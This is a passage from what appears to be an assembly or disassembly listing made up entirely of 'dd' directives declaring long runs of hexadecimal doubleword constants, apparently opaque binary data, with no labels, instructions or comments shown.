		dd 0C8BC0598h, 38802C73h, 2E9B0FBAh, 0FC38E9AAh, 83427909h
		dd 81055A4h, 0AF130CD7h, 880E8C6Bh, 57B5A498h, 80BCD8ABh
		dd 91527220h, 514F8324h, 79A9AC55h, 67DCD897h, 0CB49D108h
		dd 0C5A01299h, 986EBFACh, 0A0AF6200h, 0B6016E5Bh, 2260F75Ch
		dd 87C27h, 4B82EE46h, 0D3C50326h, 0D4C9C000h, 0D517D15Eh
		dd 3998028Ch, 83AB457h,	3100D87Ch, 792CFFBDh, 8FC6F35h
		dd 0B208241Dh, 0C746E19h, 0B6D704DCh, 0E174C1Ah, 799322DAh
		dd 0CCE5555Dh, 6E5A5911h, 7FDC098Ch, 2941A3Ch, 6C8ACCh
		dd 9ABBEC5Bh, 4A3CEB48h, 97E314E6h, 505D62F8h, 3B913A1Dh
		dd 2C20A0E8h, 52DE0113h, 0C905940Dh, 2A4471DCh,	612078E6h
		dd 2B4FC143h, 3BA237Ch,	3EE0FBA7h, 2B0832B0h, 0D1EE8125h
		dd 223C901Ch, 58109F79h, 0D000837Ah, 630B2B04h,	0B5CBA660h
		dd 743DD4E5h, 4676A09Ch, 0EEB6002Dh, 4E8F8DD9h,	20485B23h
		dd 9DDF3F00h, 15930700h, 5E0543D9h, 569025B6h, 99705CF3h
		dd 0C79D2A1Fh, 85230070h, 0CC8833F2h, 0CD04CFF7h, 0E4BA0727h
		dd 0C8B828EDh, 7342C902h, 0F4AB3850h, 0D6C240E0h, 520032D3h
		dd 540A376Ah, 9C956591h, 0DCB60464h, 0C298DBA3h, 0E03BC8DDh
		dd 162820A9h, 842C1214h, 103CBD78h, 74F83686h, 0C68C048Ch
		dd 0E0FAA8BFh, 0EA2DC19Ch, 0E134D1E8h, 3B31878Eh, 2CB62484h
		dd 3C8BBDE0h, 0BC0B33F4h, 58DCA655h, 57894008h,	0F02004B2h
		dd 0BB550093h, 0C1A15ACFh, 0B34A70DAh, 0DE0F10B8h, 0B7F2D3F2h
		dd 0A86A4ED8h, 4D9F9200h, 1E32D906h, 60FA1106h,	918CA3h
		dd 0E12070BCh, 0B3E88B18h, 90FC20BCh, 0C4030275h, 0B94E3188h
		dd 6E041876h, 90B238B1h, 8454AA09h, 0F3EB5C74h,	0FBB95008h
		dd 29412400h, 42B6B8A2h, 584697C3h, 26747195h, 4212F4B8h
		dd 6CE95AF0h, 52AC8CD1h, 82DFD43Fh, 0FC2CE054h,	2DC85C7Fh
		dd 5ED0107Bh, 0B56E25B4h, 3A0E4CA0h, 65970240h,	0F835A5DCh
		dd 2E571503h, 0CCB7E327h, 83098880h, 88C9279Dh,	0B7756C42h
		dd 2C58098h, 0E38E71ABh, 7538609Dh, 39DE3077h, 7EA4C281h
		dd 9BD4C0BDh, 1C6D0256h, 0F3C36451h, 74A54876h,	0BD88933Ch
		dd 45580BCCh, 7C830039h, 1ED3A6Dh, 5D804D66h, 30EAFF67h
		dd 0DE07F54Ch, 72393E13h, 13BB0C25h, 36FC83E4h,	0E4054800h
		dd 5392A890h, 734700B7h, 17A2072Dh, 0F9702846h,	0D4A06C4Ch
		dd 9FA73BD8h, 2F96E1FFh, 0A9D2F0BDh, 0E300A970h, 5830B59Bh
		dd 2410B00Dh, 0ECB84B2Bh, 20EACA87h, 0CDD1DB48h, 0E90BDC04h
		dd 4A801634h, 890710h, 0A63A1513h, 0BFD81C5Bh, 0D8376D2Dh
		dd 269441E8h, 83E80528h, 54BD88C0h, 1FE0CC22h, 88FD804Eh
		dd 0B588B84Ah, 0EBB8D0E9h, 8002CAF8h, 2614CC75h, 90234082h
		dd 44E5955Fh, 0D627091Dh, 4100F404h, 0DB99A673h, 58115078h
		dd 0B80D549Ah, 0AD291EDFh, 256CDAF0h, 38D1BCD2h, 10DE25D7h
		dd 410BC08h, 0EC5C6830h, 8CBBBCBCh, 33B3FC1Fh, 137253C1h
		dd 0CC6EBDEFh, 0A04E37A0h, 1C2408F9h, 0C8D00E21h, 4874EC69h
		dd 3D23A51h, 0AB80BA26h, 0E8A516E1h, 85A1B79Ah,	34AA9B54h
		dd 0A420FEA4h, 89E6D3h,	73FAE4F6h, 0B435ADEFh, 78B4224Bh
		dd 4884953Eh, 0A4081246h, 0D85CA517h, 162D0FE3h, 0A8F2A019h
		dd 848D4B60h, 1D2CE22Eh, 72DC6BB9h, 47AE0139h, 4A1CF5DFh
		dd 6030883Eh, 7D02FB00h, 186E06B9h, 0DB17001Fh,	2521387Eh
		dd 542599D0h, 10CC796Dh, 62C0505Ch, 80E6DB5Bh, 0BBB8C858h
		dd 0DBBC018Ch, 0CFA38B04h, 6B5ED1C9h, 0B4A6289Ch, 0DB44BAB4h
		dd 139CBE4Ch, 0AE00C303h, 0C5DC55E2h, 207302F2h, 0FDF8E607h
		dd 3F60685Eh, 9548EEB0h, 0D46BD479h, 0F00D4D4h,	7BE55E38h
		dd 108E4284h, 0D14FFE4h, 0E063BBBFh, 0F0ECF62Fh, 18EA16Ch
		dd 0FD6F389Ah, 0C23A0C40h, 5CF0425Fh, 68DEEB94h, 655700D4h
		dd 15DF95A8h, 231CC875h, 0AB8C2EE4h, 4EB5C013h,	0BC38EDFFh
		dd 0AB4C0035h, 615B1A14h, 0BC4A4840h, 2842ECBCh, 803075E2h
		dd 0BDAB7E42h, 2A0C9081h, 4C127FBCh, 14F830AEh,	224B3812h
		dd 0B40C10A7h, 9831841Ah, 60D4F4A2h, 7E9BFADCh,	7F557C51h
		dd 0ADBA30A1h, 88D2C721h, 0F82AB60Bh, 8D2C201Dh, 0F1A86FDDh
		dd 88ECB22Bh, 0B820097h, 3140A9BFh, 8096BDF0h, 40145CA5h
		dd 647F442Ch, 1758D401h, 5CF48E98h, 20B8661Ch, 81ABD438h
		dd 0A19CA626h, 3C367FEFh, 84795E2Dh, 0DC485EA7h, 0EC103Bh
		dd 2E48EF60h, 903C3FD4h, 2033F314h, 40D9CB1Dh, 0E88ECF56h
		dd 62009DBCh, 904D76D3h, 25DF6B57h, 0D45E6DD7h,	83148951h
		dd 7CCF374h, 98876DA0h,	0E6E4CD4Bh, 4F205094h, 9C4DB723h
		dd 0DE60BA64h, 8D4CE36Ah, 83970312h, 0B86E37A3h, 34DC2EC7h
		dd 0AF69289Bh, 54702C12h
		dd 99DCB5h, 29FB74C2h, 232D17D9h, 0AB508F0Eh, 5B700078h
		dd 2BE4AE8Eh, 3C583763h, 8CED617h, 0E8A00C94h, 0B4ADC820h
		dd 0E82E1220h, 211FE204h, 6A0AB8BFh, 50C7E402h,	14A9FD83h
		dd 0C8D53C8Fh, 78E6B570h, 2F77A080h, 4884F081h,	0B89CAB48h
		dd 84CB4A00h, 713E8818h, 7502E7EAh, 0CB99A552h,	0E4005F60h
		dd 58CE1788h, 82029E78h, 0FCBDBA8Ch, 449AD752h,	0C044ED5Dh
		dd 53779D06h, 0B97FC905h, 60FCB510h, 9A000C89h,	0D854EFE0h
		dd 0F1712C0Fh, 37FE5366h, 0D700893Ch, 0FC656C50h, 0E808F158h
		dd 52068C2Eh, 4081DA03h, 44799540h, 0EDB85E01h,	27F48ED7h
		dd 20246029h, 0D4ABE8C7h, 4F7D8AAh, 0EA1204ECh,	0F4336801h
		dd 6E6A3B25h, 4DB901D0h, 90A2A655h, 74B8F4DFh, 2C0F94Ah
		dd 652E6260h, 0BBB8B712h, 80D2E700h, 37F5F84Ah,	3AB65D09h
		dd 50242098h, 97BA60A3h, 78915C1Fh, 436E1880h, 0D24C3F39h
		dd 6CD04E83h, 4B4132h, 11A0D0Fh, 77D1B69Dh, 0BE864E1Fh
		dd 92710378h, 9F84CB4h,	5670BD78h, 422ACC04h, 4AFFDC2Ch
		dd 5835D7B4h, 0C09CBF91h, 196322A4h, 0A0FCB058h, 1412D65Eh
		dd 78994B2h, 7AC4F0E7h,	2AAE6D60h, 0D02DA104h, 27BA1F8Eh
		dd 809264F0h, 0AD8A2FCh, 0B063CD24h, 0A6068602h, 6649E15Dh
		dd 39FADEDCh, 0B87021FDh, 0C4AE44D0h, 19FC9100h, 33BFE82Dh
		dd 3EDA02E3h, 6D1CA75Fh, 0F325C8DCh, 8BE80298h,	0D4018370h
		dd 4F036FD3h, 3CA75102h, 4839D0B7h, 13911C60h, 0CB886E64h
		dd 0C078C8ECh, 0B9D04C02h, 0F122AA25h, 8A7B0068h, 1AEE94A8h
		dd 13C5CD39h, 48A81B1Dh, 239841Dh, 6257BB2Ch, 0D9E9BC5Ch
		dd 182359BCh, 18A54C94h, 4F36E411h, 8BEA9C01h, 8A2B96ECh
		dd 0CA0450E4h, 44F37A5Ah, 4686B93h, 0FC2E300Ch,	0BF6041BEh
		dd 83689680h, 6FE45860h, 702FE519h, 81002E23h, 822FDE50h
		dd 80B04839h, 44B4B192h, 3043ABECh, 0E15DC90Bh,	418434E0h
		dd 0E8C7EEBDh, 4B952054h, 38C4815Ch, 0C49E7AB1h, 0C47ACC83h
		dd 20C59BD1h, 429F03D8h, 4CC55E0h, 0BD374F20h, 0D8715440h
		dd 3E8D093Ch, 96B81301h, 0A2071CF9h, 61A3E57h, 8702C833h
		dd 543A1646h, 20586420h, 0D924818Ch, 4C0870D6h,	0C6010F8Dh
		dd 0A1C5B586h, 20B81E58h, 0E0629504h, 29DB00C0h, 24C65582h
		dd 0AC082221h, 6606FECh, 0B118C5A5h, 0CD83ED00h, 1234FAC6h
		dd 69E4B2DCh, 0A207303Ah, 0D4F0C98Bh, 0C30980BEh, 16D85CD4h
		dd 80E4FC6Dh, 4B9925C8h, 2DF100B2h, 0EF9F08DEh,	6D17AB47h
		dd 0A4E86F16h, 59B02080h, 840EC8E2h, 72011F90h,	768C40EEh
		dd 0A5D4ECEBh, 992CA9C5h, 476E08C1h, 0E9EAF400h, 18BC664Eh
		dd 35266484h, 758040E8h, 982B573h, 0A883EF0Bh, 0BFB410EDh
		dd 0C2CA74B0h, 0E65AF850h, 40F8FD8Ah, 0F7418907h, 0F0AB5213h
		dd 9C6448BEh, 0CFEAC780h, 5FEC2E5Ch, 0B0ACD027h, 96815566h
		dd 19AD3FF1h, 21116471h, 10020C48h, 0A002BEBFh,	9F780CD0h
		dd 8E70A850h, 572D40C9h, 92094094h, 0F6A12E3Ch,	0E8F6DC34h
		dd 941C8315h, 0C2475E4h, 0AC248C1Fh, 1D986625h,	9384B8D6h
		dd 687AAE66h, 0B407E602h, 9C4276E2h, 6C555F62h,	0C8B595F8h
		dd 0BD05D226h, 6EEE5BE5h, 98DC07F8h, 841A5195h,	178A6408h
		dd 0A2C4A316h, 47C03077h, 75169717h, 3825CDBh, 0C880C986h
		dd 9B133A49h, 3CB3E817h, 126C5854h, 98E7178Ch, 0A03CB6D2h
		dd 398FFCDAh, 84C814E9h, 4A797E10h, 9EAA68C5h, 0C2468018h
		dd 2114E2h, 3ACF3EC4h, 5C90D1E0h, 12F84F5Ch, 80F10432h
		dd 81589B3Ah, 34DFBFC7h, 4BD88825h, 8D8F1C50h, 0D138091Eh
		dd 394498D7h, 0E4A35FB1h, 6F25DA2Ch, 56D05C42h,	2379B8B9h
		dd 404EA318h, 0AC00686Eh, 5769BD9Dh, 4D091CF2h,	5EDA4C30h
		dd 0D2405124h, 72F49856h, 0BA240027h, 3FC3364Dh, 854EFED2h
		dd 0B1FC28FCh, 0C45B148Ch, 7F25EC3Bh, 820178C6h, 7ABD337h
		dd 584B8058h, 15C12088h, 0CA2B70D7h, 49983228h,	0D0F288h
		dd 6519D0A5h, 76FEC8DDh, 0F18B5C01h, 7095D4D6h,	0C558282Eh
		dd 7C82D0AAh, 0B857728Ah, 3032355Ch, 0EB69CB21h, 109F5DEEh
		dd 13B9C830h, 33ABD1h, 0F54D6111h, 5305FB80h, 0BCAC28A5h
		dd 0DA6000AFh, 5FE3F146h, 0A8D48A95h, 119800DEh, 0B9627FD2h
		dd 0BA40F194h, 83916A1h, 2D48BD7Bh, 0F1A0D9C4h,	0BD91825h
		dd 9848CBD1h, 0B604ECF6h, 68A98EFEh, 2BB86CD4h,	29BE098Ch
		dd 0FC5E882Ch, 2F526F80h, 0A35CAEh, 0B0708718h,	4DEE3289h
		dd 0B7ABC00Bh, 0E00A053h, 9F2FCC22h, 37E374C8h,	2967313Ch
		dd 6425C420h, 6D6407F8h, 0E092B302h, 841F50DBh,	0B362DF3Dh
		dd 9CF50ADh, 79809C0h, 6F66F282h, 0D2530860h, 6450A827h
		dd 70998B4h, 0AA143F6h,	0DB86D0C8h, 672D6D07h, 0FE0C70FFh
		dd 34B82358h, 1C15F07Bh, 3BD71F2Ah, 0DA808979h,	712DB87Ch
		dd 823CBC88h, 0B8693712h, 1588C5B4h, 0BD053CACh, 0AF6C8AA0h
		dd 0E63A442Dh, 0B0E0A344h, 2DA61F6Ch, 0C4F32536h, 73444D8h
		dd 8E2FE10h, 7C5C1B75h,	97FC8460h, 9B558224h, 74EAC28Ch
		dd 6C5649A0h, 0A4B7D749h, 0D5FEBD00h, 5F0F49Eh,	2E452963h
		dd 0F06EEF67h, 978B461Fh, 0C6F002DCh, 0E4D630BDh, 0B5E4D027h
		dd 70938CCEh, 4E4FF858h, 0CE8CA84Dh, 77AAE407h,	3404B012h
		dd 7BEF70E4h, 0CCB4BC92h, 344D2F68h, 0DF8A5860h, 82CC7195h
		dd 31DC1AB4h, 86841CD4h, 1C819FC5h, 0C6027D12h,	0E54145Dh
		dd 3A5BB766h, 75598280h, 2C557F8Ch, 4761D1B4h, 0A2B07368h
		dd 0D0F18924h, 7AFCC40Fh, 26F810F2h, 27337A92h,	68446E71h
		dd 80FE783Eh, 0F916572Eh, 25931DE0h, 0C870E337h, 6580EFBFh
		dd 4E5490BEh, 0B61256B9h, 60C0543Ah, 12C6C0E0h,	0AE24832Dh
		dd 803FB408h, 0F7FE0F44h, 0B004C779h, 2932B174h, 608818A4h
		dd 3C82925h, 0CB00EB67h, 8955208Bh, 10D0701h, 0D3815B4Bh
		dd 50457A25h, 0E82A629Ch, 0FE371427h, 3909DC68h, 0B2CA565Fh
		dd 0D0ED7F08h, 0D069D4C0h, 82DD0075h, 0A4DB7F50h, 8C4F2A34h
		dd 109C0C7h, 2954D601h,	2464CB6Bh, 0BA087833h, 0ACFC1250h
		dd 0B2FA3D4h, 0FAB83F71h, 4E328870h, 75314148h,	557490E0h
		dd 2878C8A0h, 5E6D79CBh, 0C6E57534h, 206EBAh, 0C3D87BD5h
		dd 5CB95CE2h, 673E5C3Eh, 8B16EAC0h, 34BC8FA0h, 651A79E2h
		dd 60B0C430h, 4B7082DEh, 1264B875h, 0C0BC2AF6h,	0F99DCCA3h
		dd 1F5EE814h, 2478DE59h, 0E4900E4Eh, 0F2170EE0h, 8A2F3947h
		dd 9D20E47Fh, 42784C7Bh, 0EAE00B2Fh, 0BC98F8C2h, 0FA033796h
		dd 6F1126D9h, 0A8A3FB57h, 123CC49Fh, 0E3EBDD2Ch, 789B4F54h
		dd 6776680h, 0B2005B5Ch, 41D1DF21h, 0C2878D07h,	0F172E192h
		dd 65752DE2h, 17E550DCh, 35CAE10Fh, 0F11A6226h,	74EE75D7h
		dd 5014539Dh, 230408B6h, 91634F58h, 5E70C8EFh, 3200FA7Eh
		dd 0B3CE6CFh, 0F8BA09h,	8DC77076h, 0C64BE539h, 2CF4584Ah
		dd 7DF9882Ch, 6965CB00h, 0F2E08028h, 0B8131F4Fh, 0D8380550h
		dd 39A0C1D0h, 6FFC32B2h, 0FD0C0740h, 1C92D5B9h,	0C1344D5Fh
		dd 0C6436D5Dh, 0B0EC467Dh, 8021FC24h, 0D1121B89h, 6CB26AA4h
		dd 0BC40E95Ah, 0CAF65C2Ch, 0FD63AC00h, 0F1DA5BF3h, 1DBF2212h
		dd 2C12F8E3h, 5B7CF3B9h, 0AE1A4B6h, 0BDAEC8C0h,	0B3EA5E09h
		dd 82F8C028h, 804D125Fh, 0CB68BC31h, 82687167h,	0B488AB52h
		dd 9DBB6604h, 1C6A2EACh, 555D3600h, 7B7BF48h, 9BF42E09h
		dd 25BC7325h, 0D4C856h
		dd 0D38B94C0h, 0B2BA8C6Eh, 0CFDC2E09h, 0AC90D70Dh, 8012C5DEh
		dd 2CBC2BD3h, 8BE8F1C3h, 0E040A793h, 42BFE7A4h,	0AC6DD53Ch
		dd 147E50E0h, 4049BD3Ah, 649B7B0Bh, 196B09C1h, 10E8305Eh
		dd 7926BB69h, 0AC73270Ch, 98524D78h, 36C9022Dh,	5764F27h
		dd 924C9055h, 33A6097Ch, 0BA7F3BCAh, 68B5FF88h,	0A664D307h
		dd 4796FE80h, 31C5136Dh, 58DCFC37h, 0F5797960h,	2CCC59B7h
		dd 53120068h, 2EAC7637h, 12F86648h, 28ECE0BCh, 0F039EC4Ch
		dd 7C1CE74Ah, 60B31A5Bh, 72B5D810h, 3388F415h, 0EE1E0080h
		dd 661810C4h, 0F4C595F8h, 167F7211h, 828C1AB4h,	0D7C23A1Ch
		dd 2C94D5h, 1E0A1CDEh, 0F7E9026Fh, 7F00899Dh, 960B1CB7h
		dd 934F848h, 28EBFC2Ch,	0E0448471h, 0C2688CEFh,	0E0E2694Ah
		dd 0A06CA6D7h, 90C4D5ECh, 0A1CB4EC4h, 80E22AF8h, 0D1F6BDA8h
		dd 0FCF35E5Ah, 0C420892Fh, 6804F9F5h, 17437001h, 0C1B6C7D5h
		dd 5F25B078h, 6F12E4C5h, 22F8C0BCh, 0E277C8Ch, 6FA50E2h
		dd 8F1CC817h, 24CFE800h, 0BB968233h, 0B34509B9h, 4795A5Bh
		dd 0CA911C80h, 0C0A7DBADh, 0C3E4AE38h, 46B7A824h, 0B9EF007Ch
		dd 16FFD4A0h, 0D970C581h, 712BF725h, 0CCC5E998h, 97607A64h
		dd 4000ABF8h, 0E9F166CAh, 4C4ADEC1h, 0DF020C09h, 0C99E5593h
		dd 2AE08440h, 0B7A5BCBEh, 0F48A0EACh, 19051C20h, 0BF0B127Ah
		dd 5E4876A0h, 35775AD8h, 4DF00BCh, 0E44DE0D0h, 4068B809h
		dd 0C859D5h, 6D6BD387h,	4401E041h, 0BBE820D0h, 406589B4h
		dd 743DEF60h, 9D087754h, 0A85D08A1h, 0F4237FE6h, 0C649A4BEh
		dd 2ED481D7h, 9425DBECh, 23843B3Ah, 0D24202BBh,	9589A995h
		dd 2C094C01h, 4E50969Ah, 7BC69821h, 2F570F8h, 3222B0DCh
		dd 25D2E90h, 578444ECh,	3065BC32h, 0FD602EC4h, 310B09D6h
		dd 0FEC1BCDDh, 0CC860FDCh, 0E4E4F032h, 4C3D392Fh, 6A620090h
		dd 0D2244C27h, 4650950Fh, 0D1B507A8h, 52030730h, 6A70900Bh
		dd 84484121h, 0A71B1405h, 8AC4EA0h, 70CEB701h, 454B08C1h
		dd 6A0C05A0h, 2F10896Bh, 85E0B4B6h, 3AFA14CAh, 86A81F0Ch
		dd 4A2E5043h, 4B44ADE4h, 4826608Dh, 44C037F3h, 14B03EEBh
		dd 16EC1040h, 143F63BBh, 0C9CE4020h, 22432340h,	97095C42h
		dd 12B26EA4h, 69C468A0h, 6E764AC2h, 421100C4h, 2F737FFBh
		dd 744701F6h, 0EB81FD4h, 0F0D22A75h, 0B0E575E9h, 4E252111h
		dd 3392B048h, 1AE0E870h, 0B47B590Fh, 89BD809Eh,	2610E21h
		dd 4F8E1D46h, 467340Bh,	0D7602444h, 70226AFh, 0DC961804h
		dd 667C686Fh, 0A39FD5h,	86A16E83h, 2DFA2095h, 0A23A402Dh
		dd 9DB4A78h, 3D59778Ch,	6949E4B0h, 505328h, 0C88AB02Dh
		dd 3EC9086Ch, 0CC4FE7CCh, 2D303218h, 15DEF964h,	23DF3458h
		dd 0C08EAB40h, 4E016010h, 6280ECE8h, 0A7B7B37Eh, 0C7F2CD13h
		dd 6FB8C0EDh, 35A35312h, 498004FFh, 0D2B0BDA4h,	0FCA8B0FDh
		dd 782F6A00h, 0DDD0015Fh, 90665C1Fh, 0A6F4E04Ah, 0EDFEC14h
		dd 0C25204BCh, 7BAA6192h, 2FB31E00h, 0CCF27D12h, 506AEF93h
		dd 2D0CE900h, 577E4655h, 0FEB68B09h, 0A410FD92h, 8A0F908Eh
		dd 6093973Fh, 0F224F1E0h, 66442526h, 6104DCE6h,	2602214h
		dd 0C26892EFh, 3FC437F5h, 0EE3A7602h, 0BD4042D5h, 70901FDh
		dd 44E5A98Dh, 99154804h, 0C21B1403h, 790B0812h,	0E2208B42h
		dd 80315740h, 7E861221h, 0D4F08D4h, 8C4DD007h, 1CAC9B85h
		dd 60D28900h, 0D6D93A22h, 0A49744ECh, 0B44FCBA0h, 363750E4h
		dd 2F6F2050h, 2AB65606h, 16912670h, 0BDBB90B3h,	2289C680h
		dd 9F253BC9h, 1C737E00h, 578BB85Eh, 4BCB8307h, 0E980DC79h
		dd 17D04EC2h, 4FCC6BDh,	89253208h, 60A06F20h, 60B0B0C7h
		dd 0A65CF910h, 156B9FDCh, 0D4005790h, 0AE7C8B6Ah, 2722C492h
		dd 20AC8065h, 0FC789D2Ah, 5503A10h, 7C74BC83h, 7B86E0F1h
		dd 33391488h, 1C81A2BFh, 0B84105A8h, 0ACB3EA08h, 78B60084h
		dd 523AF6E2h, 513D08CBh, 80050224h, 20DE42A5h, 16FDEA58h
		dd 0BDE0DD2Dh, 0B62288h, 5488AA26h, 0FDF1129h, 3A3CC4A8h
		dd 0B1204831h, 7AC4BBh,	0EDEB8290h, 0E49570C6h,	0E2794474h
		dd 0C3149350h, 2DF42E3Dh, 6240E81Eh, 484E8155h,	8377ECB0h
		dd 88F33BFDh, 493020B2h, 0AE600075h, 6B4385E5h,	0C4BDC30Ch
		dd 795B00F4h, 4524C6E3h, 51359CD8h, 0DBBB68AFh,	0C0948E48h
		dd 9EE59B5Eh, 0F65B00E4h, 0F1C9AEDAh, 9B976D7Ah, 0E558E0D4h
		dd 8F3D0B34h, 0B4D2A0E2h, 0E4952479h, 0DEE234h,	75B0A8Dh
		dd 4A03B189h, 58F1F65Eh, 4EC0E22Ah, 8280909Bh, 0D63A1EB7h
		dd 48F0C050h, 577BAC72h, 9816FA76h, 68BC68C8h, 0C8B0C0F4h
		dd 404E1AB6h, 0D0E6D013h, 4BF601E5h, 2ACDC1EEh,	97FFE823h
		dd 625EF180h, 80BD3FFEh, 0F848A04Ah, 5EBC6E25h,	568464E4h
		dd 0BF9264B8h, 0E1E8C00Eh, 78351C5Bh, 8F602A2Fh, 14B1F3DAh
		dd 0E0BD7FDEh, 3EEAE400h, 10298C3h, 488668F4h, 2F758370h
		dd 0B95E702Fh, 0E7A8B0h, 86F852D0h, 5CD753C6h, 38ACBD4Fh
		dd 33E9A882h, 0CD549C98h, 64BC3F4Eh, 6CA4B8A7h,	272A5308h
		dd 0C82F02Fh, 2CDC3C1Ah, 0AFA05B25h, 0F6502453h, 3AAF0419h
		dd 0AF46C2B7h, 7A007C6Eh, 0A95F5CEAh, 8838BF01h, 0D6F1E372h
		dd 0DC2CE8F5h, 0BC2A5A77h, 0A490E168h, 28E2E863h, 13BD9830h
		dd 0AF54AA27h, 5F3CA828h, 23143B62h, 8E910EB3h,	0B8B8C3AFh
		dd 79C738DFh, 0A500834Ah, 27F4A64Fh, 0FCF12B17h, 5A1BB063h
		dd 0A66CC871h, 0D8FAB600h, 40ED3571h, 0AE604E51h, 14071E6Bh
		dd 606BCC10h, 0DD59D2Bh, 5B060F01h, 8C66D98Bh, 1D781CCh
		dd 5D895188h, 2F04E180h, 85AC56E9h, 3125F8E2h, 3110574Dh
		dd 84E8C90Ah, 2C010C37h, 3D0880A3h, 0B50C5639h,	5F2A1445h
		dd 0A9858B0Ch, 0FA890E2Dh, 0C2967E9h, 19ADC333h, 0A19D1908h
		dd 0E8900F11h, 0BAA94DF8h, 4C31C900h, 0BF525008h, 58293B77h
		dd 0B38E0F3Dh, 5FEF5A2Ah, 0FE8B66C0h, 2CF66090h, 95F9DECh
		dd 0EC5FEDF8h, 93ED5FE7h, 0B301FFB8h, 1734BF7Ch, 66806DDFh
		dd 0E64268D8h, 817D20F7h, 0E5BD240Eh, 0DAFEF2E8h, 0ED7DC031h
		dd 25FF49F8h, 1DFFC995h, 8019912Ch, 879DEB8Ch, 29C70AE5h
		dd 8281C9BDh, 5219501h,	0D18DB5A1h, 850D8233h, 7512BAC6h
		dd 9E70EED3h, 408F02CDh, 113E9A3h, 35BD8B01h, 0FE0CF854h
		dd 78163BEh, 0D9ECAC7h,	25145E60h, 0F781663Eh, 0B58B9DADh
		dd 0FE90AFC2h, 0FE24DCF9h, 2F9038A1h, 7D1B293Bh, 6CC6EF31h
		dd 94D7EF12h, 0C3A14B67h, 72F0FFB7h, 4463789h, 0B2314C4h
		dd 4F90FF50h, 0C801C7BBh, 0A3B0E3CEh, 2089D5h, 0FFFB148Bh
		dd 0BB4E75B5h, 2D014E6Bh, 0F221EA68h, 152C2469h, 86ED223Bh
		dd 2AB58D01h, 0DA4CEB8Eh, 0BF663E90h, 0CA429B2h, 74E1FD20h
		dd 18430098h, 0F0AD0D76h, 904E7314h, 4006BEEh, 355DC9FEh
		dd 29E0B4BBh, 791D5402h, 805805BCh, 0D86B25A9h,	635B4978h
		dd 0C4D55689h, 20897DCCh, 5F2511E9h, 0ED35DF61h, 0E100629Eh
		dd 81EBC065h, 0EA024EBDh, 3B167E40h, 7441CBh, 0FB6E5D38h
		dd 0E2BE23F9h, 6342939h, 249185C7h, 0FD3B8282h,	0A400CA44h
		dd 752945D7h, 0A40BBFEh, 0D4C5961Fh, 609500EEh,	5BEFB7E4h
		dd 69206298h, 0BD832910h, 347938C7h, 0AE4F2B84h, 7BB3C5F6h
		dd 0F9BCADE0h, 0A336AE03h, 31DE903h, 50E8B323h,	0B2390C30h
		dd 0C1019E44h, 0EB3109Eh, 0F04C8302h, 3835803h,	0E77504E9h
		dd 367736EBh, 7B0E6481h
		dd 501B8C85h, 21D02829h, 13583318h, 1B574201h, 0C08B2570h
		dd 804E3575h, 6C06BF4Eh, 29094BF6h, 2901C99Dh, 2C6504DCh
		dd 0DFB70A1Eh, 0BEE421BBh, 438850Eh, 0DE2A241Ch, 0F923420Eh
		dd 0ABB5E1BBh, 56201F3Fh, 0F24FF775h, 0AE6F0134h, 18B0C3B6h
		dd 0AF12F02Eh, 0D1BA2511h, 2042021Eh, 5C970E00h, 44D980F3h
		dd 85C9B6A7h, 5C253400h, 0BDBF3B9Ah, 287C4860h,	9E61316h
		dd 0BD05DF4Ah, 45412B5h, 422F960h, 61811CB7h, 10A727FDh
		dd 80033555h, 3869B607h, 534CB878h, 4CBA22D5h, 0CF1CAB57h
		dd 0C75B4BF5h, 0A71C380Eh, 48F39075h, 6B58004Dh, 152925ABh
		dd 0B8C07759h, 0BB965BFAh, 4D97030Dh, 6056504Eh, 0CC46618Ah
		dd 0E2003D7Fh, 0BC2AA296h, 1D6640ACh, 0B54E43h,	5AA9CE6Eh
		dd 964A5F61h, 4686BEFh,	13FBF88Fh, 56E174C8h, 0D158A6BCh
		dd 8C1DE8h, 80986B67h, 7C39E4FDh, 2B9008E8h, 80311D20h
		dd 0ED1301C9h, 0E25B77DAh, 0B15D958h, 9F3B3AC9h, 0B5F6100h
		dd 0CEAC3387h, 15347398h, 0FF9B661Dh, 3C8997C1h, 9D3FCCAh
		dd 134F651Eh, 27C4864Dh, 0AC8AA92Eh, 8B304CBh, 0CCB88D80h
		dd 7200EBE0h, 558AA81Fh, 0B69325h, 4183B7CDh, 8B46A57Ch
		dd 5659526h, 65B55DA5h,	0D6076596h, 0BBDAC283h,	1C4674h
		dd 0F6F5E6BCh, 24440AB6h, 63519Eh, 99DDBB66h, 204A5089h
		dd 3A96BBAh, 91750A21h,	85C0BCFDh, 58246EC0h, 1410F95Bh
		dd 14F84CCFh, 22C1E3DDh, 9D8B13B8h, 8EC4BB25h, 0B7833DDEh
		dd 3CE8E0CCh, 78059077h, 558D29A0h, 0F1027495h,	4CF1A8E7h
		dd 20D3908Dh, 319232C5h, 0AC3B3041h, 9D0B87AAh,	961C701Fh
		dd 0C9525D50h, 48776031h, 1DA48698h, 4044B2B1h,	0A1101F6Ah
		dd 544E9A8h, 32E23C91h,	5A61AE02h, 0D0459658h, 9F1F5D25h
		dd 18F9809Eh, 0E5BA10F3h, 0BD098012h, 0FC1EAD26h, 0E427A143h
		dd 43023223h, 8B5072B7h, 940050D8h, 0B301DCE2h,	29326768h
		dd 0D5285DBDh, 8A91BB1Ch, 4B7138CEh, 64F64090h,	6E0C07FEh
		dd 0BC686C9Dh, 25D69715h, 66E901F4h, 0A0BD7F6Ah, 296E70E7h
		dd 6041128Ah, 628BFBBCh, 0AF572DEh, 0E8C85709h,	3B075EA7h
		dd 0ECE32A33h, 3C21BE00h, 990805A2h, 4401305h, 807A9A7h
		dd 314C1102h, 5FD85E51h, 0D4048CF8h, 0AE517517h, 418D6120h
		dd 0D8FD2A2Ch, 3A656300h, 0D6B23BAFh, 56055A00h, 16BFDA44h
		dd 57270D7Eh, 5B2AC65Fh, 0AE2C00Fh, 0AB6D85C7h,	0EC1D7086h
		dd 0D02618Fh, 0C0E9F98Bh, 42E3FFF4h, 0C5AF01E3h, 6B98C1A9h
		dd 790FAEF2h, 800299EFh, 9862449Eh, 1DA70BF1h, 0D60229DAh
		dd 7B5D2A59h, 0DE80CEEh, 0C00CA43h, 0FB044ED0h,	0A84894Fh
		dd 0C64472EEh, 0CB8B60C1h, 520090F1h, 74C00873h, 36E37A9h
		dd 1143DFCDh, 66FB5FD1h, 0B350B60Eh, 0DAAFF25Eh, 0A6EEC277h
		dd 12D889F8h, 31535D37h, 14899658h, 7D08418Dh, 13B55108h
		dd 2A4443Dh, 0F2F669FCh, 0EB81C56Bh, 2E05C083h,	4DACEFEDh
